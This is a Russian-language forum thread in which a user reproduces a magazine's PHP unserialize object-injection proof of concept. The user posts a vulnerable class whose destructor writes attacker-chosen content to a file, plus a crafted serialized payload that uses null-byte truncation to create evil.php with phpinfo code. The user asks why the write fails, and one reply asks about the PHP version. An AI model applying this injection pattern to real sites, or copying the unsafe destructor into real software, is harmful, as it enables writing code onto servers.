Уязвимость в unserialize.

Discussion in 'Песочница' started by 0o Chris o0, 11 Aug 2012.

  1. 0o Chris o0

    0o Chris o0 New Member

    Joined:
    16 Oct 2011
    Messages:
    142
    Likes Received:
    1
    Reputations:
    0
    Натолкнулся на эту статью http://www.xakep.ru/post/51883/?print=true. Захотел проверить, как это работает. Просто все скопировал:
    Code:
    <?php
    class testClass
    {
    protected $log_file='log'; //файл логов
    private $path = './'; //путь к файлу логов
    var $log_dump; //содержимое лога
    
    //деструктор класса
    function __destruct()
    {
    //сохраняем лог
    $f = fopen($this->path.$this->log_file.'.txt','w');
    fwrite($f,$this->log_dump);
    fclose($f);
    }
    }
    ?>
    <?php
    function is_serialized( $data ) {
    // if it isn't a string, it isn't serialized
    if ( !is_string( $data ) ) {
    return false;
    }
    $data = trim( $data );
    if ( 'N;' == $data )
    return true;
    if ( !preg_match( '/^([adObis]):/', $data, $badions ) ) {
    return false;
    }
    switch ( $badions[1] ) {
    case 'a' :
    case 'O' :
    case 's' :
    if ( preg_match( "/^{$badions[1]}:[0-9]+:.*[;}]\$/s", $data ) )
    return true;
    break;
    case 'b' :
    case 'i' :
    case 'd' :
    if ( preg_match( "/^{$badions[1]}:[0-9.E-]+;\$/", $data ) )
    return true;
    break;
    }
    return false;
    }
    
    function maybe_unserialize( $original ) {
    if ( is_serialized( $original ) ) {
    return unserialize( $original );
    }
    return $original;
    }
    ?>
    <?php
    $pole = "O:9:\"testClass\":3:{s:11:\"\0*\0log_file\";s:9:\"evil.php\0\";s:15:\"\0test
    Class\0path\";s:2:\"./\";s:8:\"log_dump\";s:16:\"<? phpinfo(); ?>\";}";
    $pole = maybe_unserialize($pole);
    ?>
    
    Файл evil.php создается, но в него ничего не записывается. Эксперементировал в течении 2 часов, так и не получилось в него что-либо записать.
     
  2. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    913
    Likes Received:
    480
    Reputations:
    724
    Ты наверное забыл упомянуть версию своего интерпретатора и на время написания статьи.
     
    _________________________